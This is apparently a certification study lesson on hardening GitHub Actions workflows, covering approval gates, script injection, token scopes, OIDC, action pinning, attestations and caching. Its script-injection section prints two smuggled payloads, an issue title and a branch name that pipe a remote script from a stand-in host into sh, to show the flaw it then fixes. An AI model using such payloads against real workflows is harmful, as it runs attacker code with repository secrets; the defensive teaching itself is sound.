SaveMyCert
Log in
5 of 5 free questions left today·for 30 a day
Secure and optimize automation

Secure and Optimize GitHub Actions: Permissions, OIDC, Pinning, Attestations and Caching (GH-200)

24 min readGH-200 · Secure and optimize automationUpdated

Securing and optimizing GitHub Actions means limiting what each workflow can reach and run, proving where its outputs came from, and stopping it from spending runner minutes and storage it does not need. This lesson covers the GitHub Actions (GH-200) skills for that work: environment approval gates, script-injection defences, GITHUB_TOKEN lifecycle and permissions versus PATs and GitHub App tokens, OIDC federation to cloud providers, choosing and pinning trustworthy actions, allowed-actions policies, artifact attestations, and caching, retention and concurrency for cost.

What you’ll learn
  • Choose the environment protection rule that fits an approval requirement: required reviewers, prevent self-review, wait timer, branch rules, custom protection rules or admin bypass
  • Recognise attacker-controlled context values, including artifact contents passed from fork runs to workflow_run, and remove script injection by validating them and passing them through environment variables
  • Explain the GITHUB_TOKEN lifecycle and scope, write least-privilege permissions blocks, and choose a GitHub App token over a PAT for cross-repository automation
  • Configure OIDC federation with id-token: write and write cloud trust conditions that match the right subject claim
  • Judge Marketplace actions, pin them to full commit SHAs from the action's own repository, check their nested references, and keep the pins current with Dependabot
  • Enforce allowed-actions policies, including block patterns, through the UI and REST API
  • Generate and verify artifact attestations, including offline with a downloaded bundle and trusted root, and explain what SLSA Build Level 2 and 3 provenance does and does not prove

Environment protections: approval gates for deployments

An environment is a named deployment target (such as production) whose protection rules every job that references it with environment: must pass before it starts, and before it can read that environment's secrets. That makes environments the place to put approval gates: the rule lives in the repository settings, not in a workflow file a contributor could edit.

ProtectionWhat it doesUse it when
Required reviewersPauses the job until one of the listed people or teams approves (up to six can be listed)A human must sign off on the deployment
Prevent self-reviewStops the person who triggered the run from approving it, even if they are a listed reviewerA second person must approve every deployment
Wait timerHolds the job for a set number of minutes, then lets it continue on its ownYou want a soak period (for example, monitoring after staging) with no human approval
Deployment branches and tagsAllows only selected refs (for example main or v* tags) to deploy to the environmentFeature branches must never reach production
Custom deployment protection ruleA GitHub App is called for each deployment and answers approve or rejectThe decision depends on an external system (change management, observability, a ticket) and no person should approve in GitHub
Allow administrators to bypassOn by default: repository admins can force a deployment past the rulesTurn it off when policy says every deployment, including an admin's hotfix, needs approval

Three distinctions matter most. Required reviewers alone do not stop self-approval: by default the engineer who launched the run can approve it if they are on the list, which is what Prevent self-review closes. A wait timer is a delay, not an approval, and it is different from timeout-minutes, which caps how long a running job may take. And a job that checks an external system and fails, placed before the deployment with needs:, is weaker than a custom protection rule because it lives in the workflow file, where it can be edited or skipped.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # protection rules apply before this job starts
    steps:
      - run: ./deploy.sh

Plan availability: environments and all their protection rules work in public repositories on every current plan. In private or internal repositories, environments and branch rules need GitHub Pro, Team or Enterprise, while required reviewers, wait timers and custom protection rules need GitHub Enterprise. Referencing an environment also changes the job's OIDC subject claim, which is how an approval gate can be tied to cloud access (see the OIDC section). Creating environments and their secrets is covered in the triggers, caching and outputs lesson of Domain 1.

Script injection: how untrusted text becomes code

Script injection happens because GitHub evaluates every ${{ }} expression and pastes the result into the script text before the shell (or JavaScript engine) runs it. If the value comes from someone outside the project, they can write characters that close a quoted string and append their own commands, which then run with the job's token and secrets.

# Vulnerable: the title is pasted into the shell script
- run: echo "New issue: ${{ github.event.issue.title }}"
# A title such as  a"; curl https://evil.example | sh; echo "
# becomes three commands.

Which context values are attacker-controlled

Treat any free text a contributor writes as untrusted, whatever the event:

Untrusted (contributor sets the text)Not shaped by a contributor
github.head_ref (the head branch name)github.event.pull_request.number, github.run_id
Pull request and issue title and body; comment and review bodiesgithub.repository, github.event.repository.full_name
github.event.head_commit.message, commit messages in commits[]github.event.head_commit.id (a computed SHA)
Commit author and committer name and emailGitHub usernames (they follow GitHub's naming rules)

Two traps catch people. First, commit metadata stays untrusted even on push to a protected branch: a merged or rebased contributor commit keeps the message and author email the contributor wrote. Second, "branch names cannot contain spaces" is no defence. Git refs allow quotes, ;, $, braces and |, and the shell expands ${IFS} to whitespace, so a branch name like a";curl${IFS}x.sh|sh;# is valid and becomes shell code once ${{ github.head_ref }} is pasted in. With pull_request_target the risk is higher, because that event runs in the base repository with its secrets and a write-capable token while still exposing the fork's branch name and text.

Mitigations that work, and ones that do not

ApproachSafe?Why
env: TITLE: ${{ github.event.issue.title }} then run: ./triage.sh "$TITLE"YesThe shell reads the value from its environment at run time, as data; double quotes stop word splitting and globbing
run: ./triage.sh "${{ env.TITLE }}"No${{ env.TITLE }} is still an expression, expanded into the script text
Single quotes, backticks or toJSON() around the expressionNoThe text is still spliced into code; the attacker only needs a different closing character
::add-mask:: on the valueNoMasking hides log output; it does not stop execution
A JavaScript action that reads the value with core.getInput()YesInputs reach the action as INPUT_* environment variables, never as script text
A composite action or Docker sh -c with ${{ inputs.title }} in the commandNoIt only moves the injection into the action

The same rule applies to actions/github-script: its script input is JavaScript source, so "${{ github.event.comment.body }}" inside it can be closed and extended. Pass the value through env and read process.env.BODY.

- uses: actions/github-script@v8
  env:
    BODY: ${{ github.event.comment.body }}
  with:
    script: |
      await core.summary.addRaw(process.env.BODY).write();

Untrusted data that arrives through artifacts

Data a fork controls stays untrusted after it is written to a file. A common safe design runs tests for fork pull requests under pull_request (read-only token, no secrets) and does the privileged work, such as commenting on the pull request, in a second workflow triggered by workflow_run, which runs in the base repository with secrets and a write-capable token. Any artifact the first run uploaded was produced by the fork's code, so every byte of it is contributor-controlled, however harmless the file name looks. A value read from such a file and then written into a script through an expression (a step output, an env context, any ${{ }}) is the same injection as pasting a pull request title, and no expression function makes spliced text safe. Validate the value against the exact format it must have, then hand it to the shell through env: as a quoted variable. In this example the first workflow uploaded an artifact named pr-meta holding the pull request number, and the privileged workflow labels the pull request:

on:
  workflow_run:
    workflows: [CI]
    types: [completed]
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      actions: read          # download the triggering run's artifact
      pull-requests: write   # label the pull request
    steps:
      - uses: actions/download-artifact@v5
        with:
          name: pr-meta
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - id: meta
        run: |
          pr=$(cat pr-meta.txt)
          [[ "$pr" =~ ^[0-9]+$ ]] || { echo "invalid PR number"; exit 1; }
          echo "pr=$pr" >> "$GITHUB_OUTPUT"
      - env:
          PR: ${{ steps.meta.outputs.pr }}
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}   # no checkout, so tell gh the repository
        run: gh pr edit "$PR" --add-label ci-passed

The privileged work belongs in the base-repository workflow because of how fork tokens work. In a public repository, runs triggered by a fork's pull_request always get a read-only GITHUB_TOKEN and no secrets, whatever the permissions key requests. Private and internal repositories behave the same by default; an admin can opt in to sending write tokens and secrets to fork runs, which hands that power to untrusted code rather than removing the risk.

Round out the defence the official guidance lists: validate or reject inputs that must follow a format (for example, check a version string against a pattern before using it), give the job least-privilege permissions so a successful injection can do little, and prefer a vetted action that treats inputs as data over a long inline script.

GITHUB_TOKEN: lifecycle, scope and granular permissions

GITHUB_TOKEN is a short-lived GitHub App installation access token that GitHub creates for each job: it belongs to the GitHub Actions app installed in the repository, it can act only on the repository that holds the workflow, and it expires when the job finishes or reaches its maximum lifetime, whichever comes first.

  • Per job, not per run. Each job gets its own token; jobs in the same run do not share one.
  • Dies with the job. Handing the token to an external service that calls the API later fails with 401 Bad credentials once the job has ended. Work that outlives the job needs its own credential, such as a GitHub App token the service mints for itself.
  • One repository. No permissions setting can give it access to another repository; a push to a second private repository returns 403 or not found.
  • Attributed to github-actions[bot]. Pull requests, comments and API commits it creates show that bot, not a person, so nothing breaks when people leave.

The permissions key

The permissions key sets each scope (such as contents, pull-requests, issues, packages, deployments, actions, attestations) to read, write or none. Three rules decide what a job actually gets:

  1. Listing any scope sets every unlisted scope to none. permissions: { contents: read } removes, for example, id-token and pull-requests.
  2. A job-level block replaces the workflow-level block; the two are not merged. A job that lists only pull-requests: write has no contents access even if the workflow grants contents: read, so checkout of a private repository fails as if the repository did not exist.
  3. With no block at all, the repository or organization default applies (restricted read, or the older permissive read and write). Setting that default is covered in the enterprise governance lesson of Domain 4.
permissions:
  contents: read          # workflow default for every job
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:          # replaces the block above for this job
      contents: read      # still needed for actions/checkout
      pull-requests: write
    steps:
      - uses: actions/checkout@v5
      - run: ./scripts/label.sh

Choosing least privilege: grant each scope the job uses at the lowest level that works and leave the rest out. Branches, tags, commits and releases all sit under contents, so git push of a tag plus gh release create needs contents: write and nothing else. Posting a pull request review needs pull-requests: write; reading code needs contents: read. id-token is special: it has only write or none, and write lets the job request an OIDC token without granting any access to the repository. Keep write scopes on the jobs that need them instead of the whole workflow.

Reusable workflows: the calling job's token permissions flow into the called workflow, which can only reduce them. If the caller lists contents: read only, a nested job that asks for id-token: write is rejected before any step runs; the fix is to grant it on the calling job.

GITHUB_TOKEN vs personal access tokens vs GitHub App tokens

When automation needs more than the workflow's own repository, the choice is between a personal access token (PAT) and a token minted from a GitHub App, and for organization automation the GitHub App token is the better default because it belongs to the organization, not to a person.

GITHUB_TOKENFine-grained PATClassic PATGitHub App installation token
Owned byThe GitHub Actions appA userA userThe app installation (organization)
RepositoriesOnly the workflow's repositorySelected repositoriesEverything the user can reachRepositories where the app is installed, narrowed per token
LifetimeEnds with the jobLong-lived, until it expires or is revokedLong-lived, can be set to never expireOne hour after it is minted
Breaks when someone leavesNoYesYesNo
Stored in secretsNothingThe tokenThe tokenThe app's private key (the client ID can be a variable)

A fine-grained PAT can be limited to one repository and one permission, but it is still tied to a user account and carries that user's identity. A classic PAT with the repo scope is both too broad and person-bound. An App token's access comes from the permissions granted to the app, not from whoever installed it, and the app must be installed on every repository it should reach.

Minting an App token in a job

- id: app-token
  uses: actions/create-github-app-token@v3
  with:
    client-id: ${{ vars.RELEASE_BOT_CLIENT_ID }}
    private-key: ${{ secrets.RELEASE_BOT_KEY }}
    repositories: schemas            # add repositories beyond the current one
    permission-contents: read        # narrow below the installation's permissions
- uses: actions/checkout@v5
  with:
    repository: octo-org/schemas
    token: ${{ steps.app-token.outputs.token }}
  • With neither owner nor repositories set, the token covers only the current repository, so other repositories look missing.
  • owner on its own widens the token to every repository where the app is installed for that owner; repositories lists exactly the ones you need.
  • Without any permission-* input, the token inherits all of the installation's permissions. Add permission-<scope>: read|write inputs to narrow it.
  • The job's permissions block affects only GITHUB_TOKEN; it never changes an App token or a PAT.

OIDC federation: cloud access without stored cloud secrets

OpenID Connect (OIDC) federation lets a job exchange a short-lived, signed identity token from GitHub for short-lived cloud credentials, so no long-lived cloud key (an AWS access key, an Azure client secret, a Google service account key) has to be stored in GitHub at all. Moving a key to an environment secret, an organization secret or a rotation script still stores a long-lived key; only federation removes it.

How it works:

  1. The job has permissions: id-token: write, which lets the runner request a token from GitHub's issuer https://token.actions.githubusercontent.com.
  2. The token carries claims about the run: sub (subject), aud (audience), repository, ref, environment, job_workflow_ref and others.
  3. The cloud provider has been configured to trust GitHub's issuer, with conditions on those claims (an AWS IAM role trust policy, an Azure federated credential, a Google workload identity pool provider).
  4. The login action (for example aws-actions/configure-aws-credentials, azure/login, google-github-actions/auth) presents the token and receives credentials that expire on their own.
permissions:
  id-token: write   # request the OIDC token
  contents: read    # still needed for checkout
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
      - uses: azure/login@v2
        with:
          client-id: ${{ vars.AZURE_CLIENT_ID }}
          tenant-id: ${{ vars.AZURE_TENANT_ID }}
          subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}

If a permissions block exists without id-token: write, the login step fails because it cannot obtain an ID token. id-token: read does not exist, contents: write has nothing to do with OIDC, and removing the block falls back to defaults that also lack id-token: write.

The subject claim decides who can assume the role

The cloud trust condition usually matches sub, and GitHub builds the default sub from the job's context:

Job contextDefault sub
Job references an environmentrepo:ORG/REPO:environment:NAME
Job triggered by pull_request (no environment)repo:ORG/REPO:pull_request
Anything else (push, schedule, dispatch on a branch or tag)repo:ORG/REPO:ref:refs/heads/BRANCH or …:ref:refs/tags/TAG

Consequences you have to plan for:

  • Adding environment: changes the subject. A role that trusted …:ref:refs/heads/main stops matching once the deploy job uses environment: production; update the condition to …:environment:production.
  • Pull request jobs never present a ref subject, so a terraform plan on pull_request needs a separate trust entry for repo:ORG/REPO:pull_request.
  • Tie cloud access to approval. A wildcard such as repo:octo-org/web:* lets any branch, tag or pull request job assume the role. Putting the deploy job behind a production environment with required reviewers and trusting only repo:octo-org/web:environment:production means a token that can assume the role is issued only after approval. Either change alone leaves a gap.
  • aud is not an identity check. The audience (for AWS usually sts.amazonaws.com) should be checked, but it is the same for every job and can be chosen by the requester, so it cannot tell jobs apart.

Trusting a reusable workflow: customizing the subject

When a job runs a reusable workflow, the token's job_workflow_ref claim names the called workflow and its ref (for example octo-org/deploy/.github/workflows/release.yml@refs/heads/main), while the default sub still describes the calling repository. To let any organization repository deploy but only through that central workflow, customize the subject template with the REST API (PUT /orgs/{org}/actions/oidc/customization/sub with include_claim_keys, for example ["job_workflow_ref"]; repositories can opt in or use the default) and match the resulting value in the cloud trust condition. The caller must also grant id-token: write on the calling job, because permissions flow down into the reusable workflow.

Trustworthy Marketplace actions and pinning to full commit SHAs

A third-party action runs inside your job with the job's token and any secrets you pass it, so trusting an action means trusting its publisher, its code and the exact version you run. GitHub does not security-review the actions listed in GitHub Marketplace.

Judging an action

  • Verified creator badge: GitHub has verified the publishing organization as a partner. It confirms who published the action, not that any version's code is safe, and it does not pin versions. Stars, recent releases and simply being listed in Marketplace confirm neither.
  • Read the source (and its action.yml): what it does with inputs, tokens and secrets, what it downloads, whether it is maintained.
  • Give it least privilege: run it in a job whose permissions and secrets are limited to what it needs.
  • Prefer GitHub-owned or verified-creator actions, and enforce that with the organization's allowed-actions policy (next section).

Why a full-length commit SHA

ReferenceCan it start running different code without a change to your workflow?
@main or another branchYes, on every push to that branch
@v4 or @v4.2.1 (a Git tag)Yes: anyone with write access to the action's repository, including an attacker with stolen credentials, can move or recreate a tag
A tag backed by an immutable release or immutable action versionNo, for that published version, but most third-party tags are not immutable
Full 40-character commit SHANo: it names one commit whose content cannot change

Use the full 40-character SHA: a short SHA is not accepted as a pin. Floating references such as @main or @v* are acceptable only with a deliberate reason, such as an action your own organization controls. Hosted runners resolve immutable action versions where they exist (see the custom actions lesson of Domain 3), which narrows the risk only for those versions, so pin third-party actions to a SHA regardless.

- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0

A trailing comment with the version keeps the pin readable and lets update tools recognise it.

Workflow dependency lockfiles (public preview since October 2026, so details may change) record the exact commit of every action a workflow depends on, including transitive ones, and verify each source repository at run time. They are generated with the gh CLI and committed beside the workflows. Because the feature is in preview, a full-length SHA pin remains the established baseline, and the fallback wherever a lockfile is not used.

Check where the SHA comes from. Forks share an object network with their parent repository, so uses: acme/scan-action@<sha> can resolve a commit that exists only in a contributor's fork, such as the head of an unmerged pull request. The pin is then immutable but unreviewed. Take the SHA from a release or a commit on the action's own repository.

A pin freezes only the pinned action's own files. A composite action's action.yml can itself contain uses: other-org/tool@v2, and a Docker container action can pull an image by tag (image: docker://…:latest, or a Dockerfile FROM a tag). Those nested references are resolved when the job runs, so if the inner tag moves, your job runs new code although your SHA never changed. Immutability applies only to the files of the version you reference, so an immutable outer release does not freeze what it references either. The fix is to control the nested references themselves: read the pinned action.yml as part of reviewing it, and choose actions that pin their own nested actions to full SHAs and their images to digests, or maintain a reviewed copy that does. Workflow dependency lockfiles (in public preview) also record the commits of transitive actions, though not container image tags. Least-privilege permissions reduce the damage unreviewed code can do; they do not decide which code runs.

Keeping pins current

SHA pins do not update themselves, so pinned workflows drift behind security fixes. Dependabot version updates with the github-actions ecosystem open a pull request when a newer version of an action is available, including for SHA-pinned references, so each update is reviewed before it merges:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

A script that rewrites SHAs to the latest upstream commit and pushes to main defeats the purpose by skipping review. The organization policy that requires full-SHA pins enforces the format but never updates them; its scope is covered in the enterprise governance lesson of Domain 4.

Enforcing action usage policies: allow and block lists

The allowed actions and reusable workflows policy, set at enterprise, organization or repository level, decides which actions may run at all, and it is how an organization turns "only use trusted actions" into an enforced rule.

Setting (UI)REST valueEffect
Allow all actions and reusable workflowsallowed_actions: allNo restriction
Allow enterprise (or organization) actions and reusable workflows onlyallowed_actions: local_onlyOnly actions in your own enterprise or organization; even GitHub's own actions are blocked
Allow enterprise, and select non-enterprise, actions and reusable workflowsallowed_actions: selectedYour own actions plus whatever the selected-actions settings admit

Under the selected option:

  • Allow actions created by GitHub (github_owned_allowed): actions in the actions and github organizations.
  • Allow Marketplace actions by verified creators (verified_allowed): every action from a verified-creator publisher, a much wider set than GitHub-owned.
  • Specified patterns (patterns_allowed): comma-separated entries such as docker/*, octo-org/*, owner/action@v2. A leading ! makes an entry a block that wins over any allow pattern that also matches.

To block one compromised internal action everywhere while every other one keeps working, keep the broad pattern and add a block entry:

octo-org/*, !octo-org/legacy-deploy@*

Blocking !octo-org/* would stop every internal action, and an allow entry for a specific ref blocks nothing.

Scripting the policy with the REST API

Changing an organization from "all" to "GitHub-owned plus two patterns" takes two calls, in this order, because the selected-actions list only takes effect when allowed_actions is selected:

PUT /orgs/{org}/actions/permissions
  { "enabled_repositories": "all", "allowed_actions": "selected" }

PUT /orgs/{org}/actions/permissions/selected-actions
  { "github_owned_allowed": true,
    "verified_allowed": false,
    "patterns_allowed": ["docker/*", "octo-org/*"] }

Repositories have the same endpoints under /repos/{owner}/{repo}/actions/permissions. The separate …/actions/permissions/workflow endpoint sets the default GITHUB_TOKEN permissions, not which actions may run.

"Required reviewers for unverified actions", as the official skill list phrases it, is not a single GitHub setting. In practice it is achieved by allowing only GitHub-owned and verified-creator actions plus explicit patterns, so adopting any other action requires an administrator to review it and add it to the list, combined with code owner review on .github/workflows/ so new uses: lines are approved before they merge.

Artifact attestations: generating and verifying build provenance

An artifact attestation is a signed statement that binds an artifact's digest to how it was built: the repository, commit SHA, workflow, triggering event and runner recorded from the build job's OIDC identity. It lets a deployment check where an artifact came from before trusting it, following the SLSA provenance format.

Generating an attestation

permissions:
  id-token: write       # sign with a short-lived certificate via OIDC
  contents: read
  attestations: write   # store the attestation in the repository
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
      - run: make dist
      - uses: actions/attest@v4
        with:
          subject-path: dist/my-tool

For a container image, attest the pushed image by name and digest rather than by a file path, and add packages: write so the attestation can be pushed to the registry beside the image:

- id: build
  uses: docker/build-push-action@v6
  with:
    push: true
    tags: ghcr.io/octo-org/api:1.4.0
- uses: actions/attest@v4
  with:
    subject-name: ghcr.io/octo-org/api          # fully qualified, no tag
    subject-digest: ${{ steps.build.outputs.digest }}   # sha256:...
    push-to-registry: true

actions/attest is the current action; actions/attest-build-provenance remains as a wrapper for build provenance. Availability: public repositories on all current plans; private and internal repositories need GitHub Enterprise Cloud. Public repositories sign through the Sigstore public-good instance (with a public transparency log); private repositories use GitHub's own Sigstore instance.

SLSA Build Level 2 vs Level 3

Build Level 2Build Level 3
How you get it on GitHubactions/attest in the repository's own workflowBuild and attest inside a shared reusable workflow that repositories call
What it addsSigned provenance from a hosted build that cannot be tampered with after the buildThe build is isolated from the calling repository's workflow code, and the provenance names the vetted workflow as signer

A composite action does not give Level 3: its steps run inside the caller's own job. Neither does a self-hosted runner or a different predicate type.

Verifying before deployment

gh attestation verify checks an artifact against its attestations and requires either --owner (any repository of that organization or user) or --repo (one repository):

RequirementCommand
Built by anything in the organizationgh attestation verify dist/my-tool --owner octo-org
Built in one repository onlygh attestation verify oci://IMAGE --repo octo-org/payments
Built by one central reusable workflow onlygh attestation verify oci://IMAGE --owner octo-org --signer-workflow octo-org/build-platform/.github/workflows/build.yml

--owner and --repo only scope where the source must be; --signer-workflow (or --signer-repo) pins the identity that signed. Other flags such as --predicate-type (SLSA provenance by default), --cert-oidc-issuer and --deny-self-hosted-runners add checks but do not narrow the source. Run the command as a step before deploying and fail the job if it fails, or enforce the same policy at the platform, for example with a Kubernetes admission controller that checks attestations.

Verifying on an isolated network

By default gh attestation verify fetches the attestation from the GitHub API and the Sigstore trusted root over the network. Where the deployment network cannot reach GitHub or Sigstore, fetch both ahead of time on a connected machine and carry them in with the artifact and the CLI:

# on a connected machine
gh attestation download agent.tar.gz -R acme/edge-agent   # writes sha256:<digest>.jsonl (the bundle)
gh attestation trusted-root > trusted_root.jsonl

# on the isolated machine
gh attestation verify agent.tar.gz -R acme/edge-agent \
  --bundle sha256:<digest>.jsonl \
  --custom-trusted-root trusted_root.jsonl

Offline verification needs, as local files, the two things the default mode fetches live. The bundle holds the attestation itself (the signed statement and its signing certificate); the trusted root holds the Sigstore certificate authorities and transparency-log keys that the certificate must chain to. Neither substitutes for the other, because a bundle never carries the root that vouches for it. The source flag (-R or --owner) is still required offline, because it is the policy: which source you are willing to trust. And verification only means something where the artifact is consumed: run it against the file on the machine that will deploy it, since a check performed earlier on another machine says nothing about the copy that arrives.

What verification proves, and what it does not: it establishes which repository, commit, workflow and event produced the artifact, and that the artifact was not altered since. It does not prove the code is free of vulnerabilities, that commits were reviewed, or that a person signed it; the signer is a workflow identity. Scanning and review remain your own policy.

Caching and artifact retention for speed and cost

Caching saves time by reusing dependencies between runs, and retention controls how long artifacts and logs occupy paid storage; both go wrong in predictable ways.

Cache keys that hit

An exact key match restores the cache and skips saving a new entry. Build the key from the file that defines the dependencies, so it changes only when they do:

- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      npm-${{ runner.os }}-
Key built fromResult
hashFiles('package-lock.json')Hits until the lockfile changes, then one new entry
github.sha or github.run_idNever repeats: a miss and a new multi-gigabyte entry every run, which fills the limit and evicts useful caches
hashFiles('**/node_modules/**')The directory does not exist when the key is computed, so the hash is empty and the key becomes a constant that never refreshes

Limits and cleanup: caches not accessed for 7 days are evicted, and each repository has a cache storage limit (10 GB by default, which can be raised); past it, GitHub evicts older caches. To free space now, for example from feature branches that have already merged, delete the entries yourself with gh cache delete <key> (or --all) or DELETE /repos/{owner}/{repo}/actions/caches?key=…. Artifact retention settings and retention-days never touch caches.

Artifact retention

  • An artifact is kept for the repository's retention period unless the upload sets retention-days.
  • retention-days can shorten retention but never extend it past the repository's setting, which itself sits within any organization or enterprise limit. A larger value is reduced to the maximum and the upload still succeeds.
  • Hand-off artifacts that are useless after the run (build output passed to a test job) should set retention-days: 1. Compression level and overwrite do not change retention.
  • To keep reports longer than policy allows, raise the repository setting where policy permits, or store them outside Actions.

Retention for all repositories can be set programmatically with PUT /orgs/{org}/actions/permissions/artifact-and-log-retention (and the /repos/{owner}/{repo}/… equivalent), and existing runs, logs and artifacts can be deleted through their own endpoints; the full endpoint table is in the triggers, caching and outputs lesson of Domain 1.

Scaling and optimizing workflows: cutting wasted minutes

Most wasted Actions minutes come from work that runs when it does not need to: superseded runs, duplicate triggers, hung jobs, oversized matrices and expensive runners for platform-neutral work.

WasteFix
Older runs keep going after a newer push to the same pull requestconcurrency grouped by workflow and ref, with cancel-in-progress
A hung job runs until GitHub's long default limittimeout-minutes comfortably above a healthy run
Two identical runs for every push to a pull request branchTrigger push only for main, plus pull_request
CI runs for changes that cannot affect it (docs only)paths or paths-ignore filters on the trigger
A matrix job whose results are the same everywhereRun it once, on Linux, and keep the matrix for jobs that can differ

Concurrency without cancelling main

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

Runs in one group run one at a time. Keying by github.ref gives each pull request (refs/pull/N/merge) and main their own groups; making cancel-in-progress an expression cancels superseded pull request runs but lets a main run finish. A group of only github.workflow mixes all branches, and a group keyed on github.sha never collects successive pushes.

Triggers, matrices and runners

on:
  push:
    branches: [main]
  pull_request:

A push to a branch with an open pull request fires both push and pull_request. Limiting push to main tests feature work once through pull_request (which also covers forks, whose pushes run only in the fork) while every push to main is still tested. A matrix multiplies jobs, so include only dimensions whose results can differ; max-parallel and fail-fast change scheduling and cancellation, not the number of jobs. Linux runners cost less per minute than Windows and macOS, so run operating-system-neutral work such as linting on Linux. Larger and self-hosted runners and autoscaling are covered in the runners lesson of Domain 4.

Tip. Questions on this topic are scenarios built around one deciding constraint: no long-lived cloud keys stored in GitHub, the least access that still works, a second person approving every deployment, no human approval in GitHub, a credential that must outlive any employee, provenance that must come from one repository or one build workflow, a run on main that must never be cancelled, or a deployment network that cannot reach GitHub. Options are concrete artefacts such as permissions blocks, run: lines, OIDC subject strings, allow-list patterns, REST calls, gh attestation verify flags, cache keys and concurrency blocks, and the wrong ones are real features used in the wrong place: masking where injection must be stopped, ${{ env.X }} where "$X" is needed, a release tag where a SHA is needed, a wait timer where approval is needed, --owner where --repo is needed, or a workflow-level block where a job-level one decides. Expect troubleshooting items that start from a symptom (403 or not found on checkout, 401 after the job ended, an OIDC subject mismatch, a cache miss on every run, a pinned action that still ran changed code) and ask for the cause or the fix.

Key takeaways
  • Required reviewers let the deployer approve their own run unless Prevent self-review is on, and admins can bypass the rules unless that option is cleared.
  • ${{ }} is pasted into script text before it runs, so untrusted values belong in env: and are read as "$VAR" or process.env, never as ${{ env.VAR }}.
  • Branch names, titles, bodies, comments, commit messages, author names or emails, and artifacts uploaded by fork runs are attacker-controlled, even when a privileged workflow_run reads them.
  • GITHUB_TOKEN is created per job, works on one repository, is attributed to github-actions[bot] and expires when the job ends.
  • Listing any permission sets the rest to none, and a job-level permissions block replaces the workflow-level one.
  • For automation across repositories that must outlive any employee, mint a narrowed GitHub App token instead of using a PAT.
  • OIDC needs id-token: write; adding environment: changes the sub claim to repo:ORG/REPO:environment:NAME, and pull_request jobs present repo:ORG/REPO:pull_request.
  • Pin third-party actions to a full 40-character SHA from the action's own repository, check that its action.yml pins its own nested actions, and let Dependabot's github-actions ecosystem propose updates.
  • Allowed-actions policy: set allowed_actions to selected, then GitHub-owned, verified creators and patterns, with ! entries to block.
  • Attestations prove where and how an artifact was built, not that it is safe; verify with --repo or --signer-workflow to trust a specific source.
  • Offline attestation checks need two files carried in: the bundle from gh attestation download (--bundle) and the root from gh attestation trusted-root (--custom-trusted-root).

Frequently asked questions

What is the difference between a wait timer and required reviewers in a GitHub environment?

A wait timer pauses any job that targets the environment for a set number of minutes and then lets it continue automatically, with no approval. Required reviewers pause the job until one of the listed people or teams approves it. Use a wait timer for a soak period and required reviewers when a human must sign off; add Prevent self-review if the person who started the run must not be the approver.

Is it safe to use ${{ env.VAR }} in a run: step to avoid script injection?

No. ${{ env.VAR }} is still an expression that GitHub expands into the script text before the shell starts, so an untrusted value can still break out of quotes. Set the value with env: on the step and reference it as "$VAR" in the shell (or process.env.VAR in actions/github-script), so the shell reads it as data at run time.

How long is the GITHUB_TOKEN valid?

GitHub creates a separate GITHUB_TOKEN for each job, and it expires when that job finishes or when it reaches its maximum lifetime, whichever comes first. It also works only on the repository that contains the workflow. Anything that needs to call the GitHub API after the job ends, or on another repository, needs its own credential, such as a GitHub App installation token.

Should a GitHub Actions workflow use a personal access token or a GitHub App to access other repositories?

A GitHub App is usually the better choice. Its installation token belongs to the organization rather than a person, expires one hour after it is minted, and can be narrowed per run to specific repositories and permissions with actions/create-github-app-token. A personal access token is tied to a user account, so it carries that user's identity and stops working when they leave.

Why does an OIDC login to AWS or Azure fail after adding an environment to the job?

Referencing an environment changes the OIDC token's default subject claim from repo:ORG/REPO:ref:refs/heads/BRANCH to repo:ORG/REPO:environment:NAME. A cloud trust condition written for the branch subject no longer matches. Update the IAM role trust policy or federated credential to the environment subject, which also ties cloud access to the environment's approval rules.

Why pin GitHub Actions to a commit SHA instead of a version tag?

Tags and branches can be moved to different code by anyone with write access to the action's repository, including an attacker with stolen credentials, so a workflow using @v4 can suddenly run malicious code. A full 40-character commit SHA names one commit whose content cannot change. Take the SHA from the action's own repository rather than a fork, and use Dependabot with the github-actions ecosystem to propose updates. A SHA pin freezes only that action's own files, though: if its action.yml uses another action or image by tag, that nested reference can still change, so check that the action pins its own dependencies.

What does gh attestation verify prove about an artifact?

A successful gh attestation verify proves that the artifact matches signed provenance recording which repository, commit, workflow and triggering event built it, and that it has not changed since. It does not prove the artifact is free of vulnerabilities or that its code was reviewed. Use --repo to require one repository, or --signer-workflow to require a specific reusable build workflow. It can also run on a network with no access to GitHub, using a bundle saved with gh attestation download and a root exported with gh attestation trusted-root.

Can retention-days keep a GitHub Actions artifact longer than the repository setting?

No. retention-days on actions/upload-artifact can only shorten an artifact's lifetime. A value above the repository's artifact and log retention setting is reduced to that maximum, and the upload still succeeds. To keep artifacts longer, raise the repository or organization setting where policy allows, or store them outside GitHub Actions.

Source

This lesson covers the "Secure and optimize automation" domain of the official GH-200 exam guide. Vendors revise their guides — check the source for the current version.

Test yourself on this topic
GH-200 practice questions, with full explanations.
Practice now

Sign up free to mark lessons complete, bookmark topics and track your exam readiness.

Spotted a mistake in this lesson?